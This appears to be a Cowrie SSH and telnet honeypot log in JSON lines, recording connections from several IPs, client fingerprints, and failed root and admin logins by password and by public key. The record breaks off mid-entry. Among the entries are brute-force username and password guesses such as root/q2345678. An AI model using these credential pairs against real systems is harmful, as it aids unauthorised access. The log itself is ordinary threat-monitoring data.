{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58568,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0f6ac45cc16","protocol":"ssh","message":"New connection: 193.37.70.224:58568 (159.203.135.109:22) [session: a0f6ac45cc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:00.860881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:00.865879Z","src_ip":"193.37.70.224","session":"a0f6ac45cc16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:00.956789Z","src_ip":"193.37.70.224","session":"a0f6ac45cc16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q2345678","message":"login attempt [root/q2345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:01.232473Z","src_ip":"193.37.70.224","session":"a0f6ac45cc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:02.324956Z","src_ip":"193.37.70.224","session":"a0f6ac45cc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.747349977493286,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:03.845133Z","src_ip":"192.119.13.58","session":"b650cd42c633","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.015499114990234,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:05.195215Z","src_ip":"192.119.13.58","session":"c06d4d73a98d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":50747,"dst_ip":"159.203.135.109","dst_port":22,"session":"d411add12a3c","protocol":"ssh","message":"New connection: 2.57.121.112:50747 (159.203.135.109:22) [session: d411add12a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:12.691310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:12.696765Z","src_ip":"2.57.121.112","session":"d411add12a3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:12.805552Z","src_ip":"2.57.121.112","session":"d411add12a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2kasH6Zq","message":"login attempt [admin/2kasH6Zq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:13.304113Z","src_ip":"2.57.121.112","session":"d411add12a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291280","message":"login attempt [admin/291280] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:14.412828Z","src_ip":"2.57.121.112","session":"d411add12a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29111975","message":"login attempt [admin/29111975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:15.521847Z","src_ip":"2.57.121.112","session":"d411add12a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29111971","message":"login attempt [admin/29111971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:16.630598Z","src_ip":"2.57.121.112","session":"d411add12a3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"291088","message":"login attempt [admin/291088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:17.740439Z","src_ip":"2.57.121.112","session":"d411add12a3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:18.850161Z","src_ip":"2.57.121.112","session":"d411add12a3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.163","src_port":57768,"dst_ip":"10.17.0.5","dst_port":22,"session":"a31b29b2f7f4","protocol":"ssh","message":"New connection: 154.16.115.163:57768 (10.17.0.5:22) [session: a31b29b2f7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:28.964682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:28.969100Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:28.997602Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:2f:0f:d5:73:41:cc:ae:bf:24:01:32:8b:c6:82:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoSGX+gyF46wsln3Fy3XnUe+TlmgRLpSt2vI8qFIhCU8su7A807B3lgafM4pyY6h2tC4oB9Al1i/8LJsbUJB4twu5VnawQmhFkiMh7Yp2qhVSbzd139keym1ca7uoCkfPdCPsvw4E8pnUYci7ChOwWOXog3og/HdDaJxLdPhg2RhyS+t3BYa3miUaOEyjtOSbLTqANeEd9osVpvR9gDi0ZBenMVneaci38jrCPLZst3Ruo3cbPoROF8xEZ6LqxxysqvvqYliBwdvg2FcPaL56HfrdLoGt5jhKWCwnsrM6Hk/T9h7wQlsG2ibcKbNy/sWmP2ObMS4Tnt+7gMLqoxQKd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:2f:0f:d5:73:41:cc:ae:bf:24:01:32:8b:c6:82:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.112882Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:2f:0f:d5:73:41:cc:ae:bf:24:01:32:8b:c6:82:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoSGX+gyF46wsln3Fy3XnUe+TlmgRLpSt2vI8qFIhCU8su7A807B3lgafM4pyY6h2tC4oB9Al1i/8LJsbUJB4twu5VnawQmhFkiMh7Yp2qhVSbzd139keym1ca7uoCkfPdCPsvw4E8pnUYci7ChOwWOXog3og/HdDaJxLdPhg2RhyS+t3BYa3miUaOEyjtOSbLTqANeEd9osVpvR9gDi0ZBenMVneaci38jrCPLZst3Ruo3cbPoROF8xEZ6LqxxysqvvqYliBwdvg2FcPaL56HfrdLoGt5jhKWCwnsrM6Hk/T9h7wQlsG2ibcKbNy/sWmP2ObMS4Tnt+7gMLqoxQKd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.116474Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:7e:3b:49:88:2c:f0:39:68:51:c9:c1:ab:19:65:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCTkGw8EqNRcm+6+/4tDKHX45Y/vV7fzb8Az5T7123HERKMB7l1TO1gCNZ0MPkY8zetoASMbZz5e57r5dUcRemv6bLjWdm75Nhlmqs22eM66vp18e2NzoFOH+9j9266mE3PLcwPH+djNhsJOF6ZPEUUAEDqZJUo0f1BJXliuMEv+t9bAqT25/HYaxPjI6j17eg9gU3Ad4t9JwW2G1e1pmoic8Wj654o0ciCMGQiBCxlfRSufTAh1Qfr4vJmXLtPTmL0a5iHJwTiD5gPRV8u6W6s1zYqi1mNVBSESAneJYUGbv5gNk274tbFPbQrZVv+RR7YA1dLcJ6Z+aqO5QRVTy8zMEb+gAD4/oKDekJ3Cp/4E+IGB/4GlIITHTlyhZCYzdaFKRkfw/rgw+B0OYtFaLZAcMVxAGjOtDpEfYMbTjsjM5V2dh/5gQmelSI+AYwG8qSEiWgrVNvGgSU88RBLSyHgMOsUmx+gXwvunVFyNNSA+FmAbQTsY6MgMyYeAuuAFC2DP9WSniE/M5F//NEySAM2x0+CM2mhnoRE/r1IIRoNSmDv1LjcN2rTdr2MSCCS1a4vGk7r9eBmQvUevTKJ+RjYn1zKJJvvrMXgjPMFD4/kHGvtzzV7rBA6IJYaCUOEqjJehi5oGdr0MfWCekjjaa+UFtzX3Z/R3D58aQdhKSVz1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:7e:3b:49:88:2c:f0:39:68:51:c9:c1:ab:19:65:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.144112Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:7e:3b:49:88:2c:f0:39:68:51:c9:c1:ab:19:65:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCTkGw8EqNRcm+6+/4tDKHX45Y/vV7fzb8Az5T7123HERKMB7l1TO1gCNZ0MPkY8zetoASMbZz5e57r5dUcRemv6bLjWdm75Nhlmqs22eM66vp18e2NzoFOH+9j9266mE3PLcwPH+djNhsJOF6ZPEUUAEDqZJUo0f1BJXliuMEv+t9bAqT25/HYaxPjI6j17eg9gU3Ad4t9JwW2G1e1pmoic8Wj654o0ciCMGQiBCxlfRSufTAh1Qfr4vJmXLtPTmL0a5iHJwTiD5gPRV8u6W6s1zYqi1mNVBSESAneJYUGbv5gNk274tbFPbQrZVv+RR7YA1dLcJ6Z+aqO5QRVTy8zMEb+gAD4/oKDekJ3Cp/4E+IGB/4GlIITHTlyhZCYzdaFKRkfw/rgw+B0OYtFaLZAcMVxAGjOtDpEfYMbTjsjM5V2dh/5gQmelSI+AYwG8qSEiWgrVNvGgSU88RBLSyHgMOsUmx+gXwvunVFyNNSA+FmAbQTsY6MgMyYeAuuAFC2DP9WSniE/M5F//NEySAM2x0+CM2mhnoRE/r1IIRoNSmDv1LjcN2rTdr2MSCCS1a4vGk7r9eBmQvUevTKJ+RjYn1zKJJvvrMXgjPMFD4/kHGvtzzV7rBA6IJYaCUOEqjJehi5oGdr0MfWCekjjaa+UFtzX3Z/R3D58aQdhKSVz1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.148093Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:12:18:12:34:fa:c5:d3:ab:8e:a4:12:09:7c:a6:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApSMyDHgTuetTo9GfcZFwAgKa6TZje071IcujQc7Nk9B0hWyGQJORfHDLwUilo19m+kyZkzvjFd8ZpJ4lU4ZM+SPEkGVf1DZoaTDHAK86bKXwdsdu6sj1/ABXPYyg86u8UKSNnHOyj7Fh63CjsxMo5Nh6P0W6ysSv8FHWWfdZZL0LqwM5tiieyDxcIq1uU8/UZT0mbHZ6I00oLxlLMf+H/bxT/JIEwiWWeKUcITT7Lg3HY4125Ym5PhFjNlfEjwb7fZ9cLoc6/gl04sLphh+60YCXoIg4L27NTrqSwOdaFcYLQlaVQs8Uuzy/1M8D5M3fpS089rVOSUO+WBDBIfe6cQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:12:18:12:34:fa:c5:d3:ab:8e:a4:12:09:7c:a6:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.177324Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:12:18:12:34:fa:c5:d3:ab:8e:a4:12:09:7c:a6:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApSMyDHgTuetTo9GfcZFwAgKa6TZje071IcujQc7Nk9B0hWyGQJORfHDLwUilo19m+kyZkzvjFd8ZpJ4lU4ZM+SPEkGVf1DZoaTDHAK86bKXwdsdu6sj1/ABXPYyg86u8UKSNnHOyj7Fh63CjsxMo5Nh6P0W6ysSv8FHWWfdZZL0LqwM5tiieyDxcIq1uU8/UZT0mbHZ6I00oLxlLMf+H/bxT/JIEwiWWeKUcITT7Lg3HY4125Ym5PhFjNlfEjwb7fZ9cLoc6/gl04sLphh+60YCXoIg4L27NTrqSwOdaFcYLQlaVQs8Uuzy/1M8D5M3fpS089rVOSUO+WBDBIfe6cQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.181878Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:0b:76:c2:fb:3b:89:ee:13:3d:7e:d0:9c:ce:16:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAydPi7Mqw6Bt12vsqZeWg9d/t65xffRlEjoweE4S/I+MM8OlMnURAsnOh2CO4L2fvOIDXNR87l6sYt2Rl9n0Aorh7ooeLpPL5gpiSKYeE/T5x6sey5r51HuDSqJmWEkJ/KI6EMbyFPTjiVPMix9pugJzDHct5hD89QI2WOaixclnTY/ssvWlcKXK3Z869ya1w2KFDLc3m+E6MgT1IjATXPILypKrUO+jxwyVztnTzNh3B3jTOZ/N0zCaHtrgJ9GxkNb/Fbz1ZFABVRdTgqGRXAzryCvwctU48z/j9NQBzzK2YeJ+fbBFcPdVju3XQASz5r9Ss9jDsPovwQ6Zf2tyU0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:0b:76:c2:fb:3b:89:ee:13:3d:7e:d0:9c:ce:16:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.214345Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:0b:76:c2:fb:3b:89:ee:13:3d:7e:d0:9c:ce:16:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAydPi7Mqw6Bt12vsqZeWg9d/t65xffRlEjoweE4S/I+MM8OlMnURAsnOh2CO4L2fvOIDXNR87l6sYt2Rl9n0Aorh7ooeLpPL5gpiSKYeE/T5x6sey5r51HuDSqJmWEkJ/KI6EMbyFPTjiVPMix9pugJzDHct5hD89QI2WOaixclnTY/ssvWlcKXK3Z869ya1w2KFDLc3m+E6MgT1IjATXPILypKrUO+jxwyVztnTzNh3B3jTOZ/N0zCaHtrgJ9GxkNb/Fbz1ZFABVRdTgqGRXAzryCvwctU48z/j9NQBzzK2YeJ+fbBFcPdVju3XQASz5r9Ss9jDsPovwQ6Zf2tyU0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.218258Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:db:9a:62:fc:88:81:fe:91:58:a1:05:33:20:03:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtZQuKP4B7CyoAfgR5kkOK/gPst1KQaZZ/jxR/cm6VUzMECFAeE3bn+nh9ltdqMaUJh5u1hsJaSaz5iR1wKZUv4t1nEaVnjZC+J9gYflx41SGJUynxPjRSjkABSOGpAB1pwVXqXBNg5cCu3cZjgU54mzyIWW15a+ij+kH2Xjow9D1Ny4B1FNGLXM4LO7NvayEpbuePOyBTZqiMvqSADwMxv7d/V9BlEtwss+Yqj6LIsbYpj7XXqFpVDGIqzhN4OAbSQ8wGPyiFu8BNnJdv3xUFHhKv1PN2AiLjZl/PA/9G99Mr7Wkm59UEca5rbl00v0LM7fuGGTJ8o6N7mtB6SVrgAYHL6ohwzuVw0CNqsv2aWgcMZQ9NDJowf4edxIJ1eMHoeo3JQ9/aAaKejRyWrKtoyq6M9gL53WQpNVDGBSle4YRbJ8Wz/dZZvlLOMYNvMQRNi0CtqVQKMAD/MH0XKTPdfwicF2lvTy/7wPCq/YfAquiqx35OFSi+PhdKd2YCkqE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:db:9a:62:fc:88:81:fe:91:58:a1:05:33:20:03:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.248750Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:db:9a:62:fc:88:81:fe:91:58:a1:05:33:20:03:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtZQuKP4B7CyoAfgR5kkOK/gPst1KQaZZ/jxR/cm6VUzMECFAeE3bn+nh9ltdqMaUJh5u1hsJaSaz5iR1wKZUv4t1nEaVnjZC+J9gYflx41SGJUynxPjRSjkABSOGpAB1pwVXqXBNg5cCu3cZjgU54mzyIWW15a+ij+kH2Xjow9D1Ny4B1FNGLXM4LO7NvayEpbuePOyBTZqiMvqSADwMxv7d/V9BlEtwss+Yqj6LIsbYpj7XXqFpVDGIqzhN4OAbSQ8wGPyiFu8BNnJdv3xUFHhKv1PN2AiLjZl/PA/9G99Mr7Wkm59UEca5rbl00v0LM7fuGGTJ8o6N7mtB6SVrgAYHL6ohwzuVw0CNqsv2aWgcMZQ9NDJowf4edxIJ1eMHoeo3JQ9/aAaKejRyWrKtoyq6M9gL53WQpNVDGBSle4YRbJ8Wz/dZZvlLOMYNvMQRNi0CtqVQKMAD/MH0XKTPdfwicF2lvTy/7wPCq/YfAquiqx35OFSi+PhdKd2YCkqE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.252578Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:29.281286Z","src_ip":"154.16.115.163","session":"a31b29b2f7f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d029256f9b9","protocol":"telnet","message":"New connection: 192.119.13.58:56014 (10.17.0.5:23) [session: 6d029256f9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:12:56.580961Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.171.90.82","src_port":59496,"dst_ip":"10.17.0.5","dst_port":22,"session":"d27333022ebd","protocol":"ssh","message":"New connection: 142.171.90.82:59496 (10.17.0.5:22) [session: d27333022ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.440358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:13:26.445167Z","src_ip":"142.171.90.82","session":"d27333022ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","b